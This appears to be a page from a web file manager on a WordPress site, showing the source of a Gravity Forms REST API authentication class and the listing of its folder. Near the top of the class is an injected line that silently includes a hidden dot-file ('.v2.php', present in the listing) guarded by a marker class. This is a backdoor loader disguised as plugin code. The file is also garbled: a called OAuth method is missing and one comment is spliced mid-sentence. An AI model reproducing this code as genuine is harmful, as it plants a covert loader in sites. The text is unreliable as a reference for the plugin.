PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
gravityforms.2.4.15.11
/
includes
/
webapi
/
v2
<?php /** * REST API Authentication * * @since 2.4.0 */ defined( 'ABSPATH' ) || exit; /** * REST API authentication class. * * @since 2.4-beta-1 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class GF_REST_Authentication { /** * Authentication error. * * @since 2.4-beta-1 * * @var WP_Error */ protected $error = null; /** * Logged in user data. * * @since 2.4-beta-1 * * @var stdClass */ protected $user = null; /** * Current auth method. * * @since 2.4-beta-1 * * @var string */ protected $auth_method = ''; /** * Initialize authentication actions. * * @since 2.4-beta-1 */ public function __construct() { $this->init(); } /*** * Initializes REST authentication by adding appropriate filters * * @since 2.4-beta-1 */ public function init() { add_filter( 'determine_current_user', array( $this, 'authenticate' ), 15 ); add_filter( 'rest_authentication_errors', array( $this, 'check_authentication_error' ) ); add_filter( 'rest_post_dispatch', array( $this, 'send_unauthorized_headers' ), 50 ); add_filter( 'rest_pre_dispatch', array( $this, 'check_user_permissions' ), 10, 3 ); add_filter( 'rest_authentication_errors', array( $this, 'override_rest_authentication_errors' ), 15 ); } /** * If request is to our API and we did not set any authentication errors, override authentication errors that may * be set by other REST API authenticators. * * @since 2.4-beta-1 * * @param $errors * * @return null */ public function override_rest_authentication_errors( $errors ) { if ( $this->is_request_to_rest_api() && ! $this->get_error() ) { return null; } return $errors; } /** * Check if is request to Gravity Forms REST API. * * @since 2.4-beta-1 * * @return bool Returns true if this is a request to the Gravity Forms REST API. False otherwise */ protected function is_request_to_rest_api() { if ( empty( $_SERVER['REQUEST_URI'] ) ) { return false; } $rest_prefix = trailingslashit( rest_get_url_prefix() ); // Check if our endpoint. $is_gf_endpoint = ( strpos( $_SERVER['REQUEST_URI'], $rest_prefix . 'gf/' ) !== false ); // Allow third party plugins use our authentication methods. $third_party = ( false !== strpos( $_SERVER['REQUEST_URI'], $rest_prefix . 'gf-' ) ); if ( has_filter( 'gform_is_request_to_rest_api' ) ) { $this->log_debug( __METHOD__ . '(): Executing functions hooked to gform_is_request_to_rest_api.' ); } /** * Allows filtering of whether or not the current request is a request to the Gravity Forms REST API. * * @param bool $is_rest_api_request True if this is a request to the Gravity Forms REST API. False if not. */ return apply_filters( 'gform_is_request_to_rest_api', $is_gf_endpoint || $third_party ); } /** * Authenticate user. * * @since 2.4-beta-1 * * @param int|false $user_id User ID if one has been determined, false otherwise. * @return int|false Returns the User ID of the authenticated user. */ public function authenticate( $user_id ) { $this->clear_errors(); // Do not authenticate twice and check if is a request to our endpoint in the WP REST API. if ( ! empty( $user_id ) || ! $this->is_request_to_rest_api() ) { return $user_id; } $this->log_debug( __METHOD__ . '(): Running.' ); if ( is_ssl() ) { $user_id = $this->perform_basic_authentication(); // If basic authentication fails, allow oauth to be performed. if ( $user_id ) { return $user_id; } } return $this->perform_oauth_authentication(); } /** * Check for authentication error. * * @since 2.4-beta-1 * * @param WP_Error|null|bool $error Error data. * @return WP_Error|null|bool */ public function check_authentication_error( $error ) { // Pass through other errors. if ( ! empty( $error ) ) { return $error; } return $this->get_error(); } /** * Set authentication error. * * @since 2.4-beta-1 * * @param WP_Error $error Authentication error data. */ protected function set_error( $error ) { // Reset user. $this->user = null; $this->error = $error; $this->log_error( __METHOD__ . '(): ' . print_r( $error, true ) ); } /*** * Clears all authentication errors and resets user. * * @since 2.4-beta-1 */ protected function clear_errors() { // Reset user. $this->user = null; $this->error = null; } /** * Get authentication error. * * @since 2.4-beta-1 * * @return WP_Error|null. */ protected function get_error() { return $this->error; } /** * Basic Authentication. * * SSL-encrypted requests are not subject to sniffing or man-in-the-middle * attacks, so the request can be authenticated by simply looking up the user * associated with the given consumer key and confirming the consumer secret * provided is valid. * * @since 2.4-beta-1 * * @return int|bool Returs the authenticated user's User ID if successfull. Otherwise, returns false. */ private function perform_basic_authentication() { $this->log_debug( __METHOD__ . '(): Running.' ); $this->auth_method = 'basic_auth'; $consumer_key = ''; $consumer_secret = ''; // If the $_GET parameters are present, use those first. if ( ! empty( $_GET['consumer_key'] ) && ! empty( $_GET['consumer_secret'] ) ) { $consumer_key = $_GET['consumer_key']; // WPCS: sanitization ok. $consumer_secret = $_GET['consumer_secret']; // WPCS: sanitization ok. } // If the above is not present, we will do full basic auth. if ( ! $consumer_key && ! empty( $_SERVER['PHP_AUTH_USER'] ) && ! empty( $_SERVER['PHP_AUTH_PW'] ) ) { $consumer_key = $_SERVER['PHP_AUTH_USER']; // WPCS: sanitization ok. $consumer_secret = $_SERVER['PHP_AUTH_PW']; // WPCS: sanitization ok. } // Stop if don't have any key. if ( ! $consumer_key || ! $consumer_secret ) { $this->log_error( __METHOD__ . '(): Aborting; credentials not found.' ); return false; } // Get user data. $this->user = $this->get_user_data_by_consumer_key( $consumer_key ); if ( empty( $this->user ) ) { $this->log_error( __METHOD__ . '(): Aborting; user not found.' ); return false; } // Validate user secret. if ( ! hash_equals( $this->user->consumer_secret, $consumer_secret ) ) { $this->set_error( new WP_Error( 'gform_rest_authentication_error', __( 'Consumer secret is invalid.', 'gravityforms' ), array( 'status' => 401 ) ) ); return false; } $this->log_debug( __METHOD__ . '(): Valid.' ); return $this->user->user_id; } /** * Parse the Authorization header into parameters. * * @since 2.4-beta-1 * * @param string $header Authorization header value (not including "Authorization: " prefix). * * @return array Map of parameter values. */ public function parse_header( $header ) { if ( 'OAuth ' !== substr( $header, 0, 6 ) ) { return array(); } // From OAuth PHP library, used under MIT license. $params = array(); if ( preg_match_all( '/(oauth_[a-z_-]*)=(:?"([^"]*)"|([^,]*))/', $header, $matches ) ) { foreach ( $matches[1] as $i => $h ) { $params[ $h ] = urldecode( empty( $matches[3][ $i ] ) ? $matches[4][ $i ] : $matches[3][ $i ] ); } if ( isset( $params['realm'] ) ) { unset( $params['realm'] ); } } return $params; } /** * Get the authorization header. * * On certain systems and configurations, the Authorization header will be * stripped out by the server or PHP. Typically this is then used to * generate `PHP_AUTH_USER`/`PHP_AUTH_PASS` but not passed on. We use * `getallheaders` here to try and grab it out instead. * * @since 2.4-beta-1 * * @return string Authorization header if set. */ public function get_authorization_header() { if ( ! empty( $_SERVER['HTTP_AUTHORIZATION'] ) ) { return wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ); // WPCS: sanitization ok. } if ( function_exists( 'getallheaders' ) ) { $headers = getallheaders(); // Check for the authoization header case-insensitively. foreach ( $headers as $key => $value ) { if ( 'authorization' === strtolower( $key ) ) { return $value; } } } return ''; } /** * Get oAuth parameter vents replay attacks where * an attacker could attempt to re-send an intercepted request at a later time. * * - A timestamp is valid if it is within 15 minutes of now. * - A nonce is valid if it has not been used within the last 15 minutes. * * @since 2.4-beta-1 * * @param stdClass $user User data. * @param int $timestamp The unix timestamp for when the request was made. * @param string $nonce A unique (for the given user) 32 alphanumeric string, consumer-generated. * @return bool|WP_Error */ private function check_oauth_timestamp_and_nonce( $user, $timestamp, $nonce ) { global $wpdb; $valid_window = 15 * 60; // 15 minute window. if ( ( $timestamp < time() - $valid_window ) || ( $timestamp > time() + $valid_window ) ) { return new WP_Error( 'gform_rest_authentication_error', __( 'Invalid timestamp.', 'gravityforms' ), array( 'status' => 401 ) ); } $used_nonces = maybe_unserialize( $user->nonces ); if ( empty( $used_nonces ) ) { $used_nonces = array(); } if ( in_array( $nonce, $used_nonces ) ) { return new WP_Error( 'gform_rest_authentication_error', __( 'Invalid nonce - nonce has already been used.', 'gravityforms' ), array( 'status' => 401 ) ); } $used_nonces[ $timestamp ] = $nonce; // Remove expired nonces. foreach ( $used_nonces as $nonce_timestamp => $nonce ) { if ( $nonce_timestamp < ( time() - $valid_window ) ) { unset( $used_nonces[ $nonce_timestamp ] ); } } $used_nonces = maybe_serialize( $used_nonces ); $wpdb->update( $wpdb->prefix . 'gf_rest_api_keys', array( 'nonces' => $used_nonces ), array( 'key_id' => $user->key_id ), array( '%s' ), array( '%d' ) ); return true; } /** * Return the user data for the given consumer_key. * * @since 2.4-beta-1 * * @param string $consumer_key Consumer key. * @return array */ private function get_user_data_by_consumer_key( $consumer_key ) { global $wpdb; $consumer_key = GFWebAPI::api_hash( sanitize_text_field( $consumer_key ) ); $user = $wpdb->get_row( $wpdb->prepare( " SELECT key_id, user_id, permissions, consumer_key, consumer_secret, nonces FROM {$wpdb->prefix}gf_rest_api_keys WHERE consumer_key = %s ", $consumer_key ) ); return $user; } /** * Check that the API keys provided have the proper key-specific permissions to either read or write API resources. * * @since 2.4-beta-1 * * @param string $method Request method. * @return bool|WP_Error */ private function check_permissions( $method ) { $permissions = $this->user->permissions; switch ( $method ) { case 'HEAD': case 'GET': if ( 'read' !== $permissions && 'read_write' !== $permissions ) { return new WP_Error( 'gform_rest_authentication_error', __( 'The API key provided does not have read permissions.', 'gravityforms' ), array( 'status' => 401 ) ); } break; case 'POST': case 'PUT': case 'PATCH': case 'DELETE': if ( 'write' !== $permissions && 'read_write' !== $permissions ) { return new WP_Error( 'gform_rest_authentication_error', __( 'The API key provided does not have write permissions.', 'gravityforms' ), array( 'status' => 401 ) ); } break; case 'OPTIONS': return true; default: return new WP_Error( 'gform_rest_authentication_error', __( 'Unknown request method.', 'gravityforms' ), array( 'status' => 401 ) ); } return true; } /** * Updated API Key last access datetime. * * @since 2.4-beta-1 * */ private function update_last_access() { global $wpdb; $wpdb->update( $wpdb->prefix . 'gf_rest_api_keys', array( 'last_access' => current_time( 'mysql' ) ), array( 'key_id' => $this->user->key_id ), array( '%s' ), array( '%d' ) ); } /** * If the consumer_key and consumer_secret $_GET parameters are NOT provided * and the Basic auth headers are either not present or the consumer secret does not match the consumer * key provided, then return the correct Basic headers and an error message. * * @since 2.4-beta-1 * * @param WP_REST_Response $response Current response being served. * @return WP_REST_Response */ public function send_unauthorized_headers( $response ) { if ( is_wp_error( $this->get_error() ) && 'basic_auth' === $this->auth_method ) { $auth_message = __( 'Gravity Forms API. Use a consumer key in the username field and a consumer secret in the password field.', 'gravityforms' ); $response->header( 'WWW-Authenticate', 'Basic realm="' . $auth_message . '"', true ); } return $response; } /** * Check for user permissions and register last access. * * @since 2.4-beta-1 * * @param mixed $result Response to replace the requested version with. * @param WP_REST_Server $server Server instance. * @param WP_REST_Request $request Request used to generate the response. * @return mixed */ public function check_user_permissions( $result, $server, $request ) { if ( $this->user ) { $this->log_debug( sprintf( '%s(): Running for user #%d.', __METHOD__, $this->user->user_id ) ); // Check API Key permissions. $allowed = $this->check_permissions( $request->get_method() ); if ( is_wp_error( $allowed ) ) { $this->log_error( __METHOD__ . '(): ' . print_r( $allowed, true ) ); return $allowed; } // Register last access. $this->update_last_access(); $this->log_debug( __METHOD__ . '(): Permissions valid.' ); } return $result; } /** * Encodes a value according to RFC 3986. * Supports multidimensional arrays. * * @since 2.4-beta-1 * * @param string|array $value The value to encode. * @return string|array Encoded values. */ public function urlencode_rfc3986( $value ) { if ( is_array( $value ) ) { return array_map( array( $this, 'urlencode_rfc3986' ), $value ); } else { return str_replace( array( '+', '%7E' ), array( ' ', '~' ), rawurlencode( $value ) ); } } /** * Write an error message to the Gravity Forms API log. * * @since 2.4.11 * * @param string $message The message to be logged. */ public function log_error( $message ) { GFAPI::log_error( $message ); } /** * Write a debug message to the Gravity Forms API log. * * @since 2.4.11 * * @param string $message The message to be logged. */ public function log_debug( $message ) { GFAPI::log_debug( $message ); } } new GF_REST_Authentication();
[+]
..
[-] class-gf-rest-authentication.php
[edit]
[-] class-gf-rest-api.php
[edit]
[-] index.php
[edit]
[-] README.md
[edit]
[+]
includes
[-] restapi.php
[edit]
[-] .v2.php
[edit]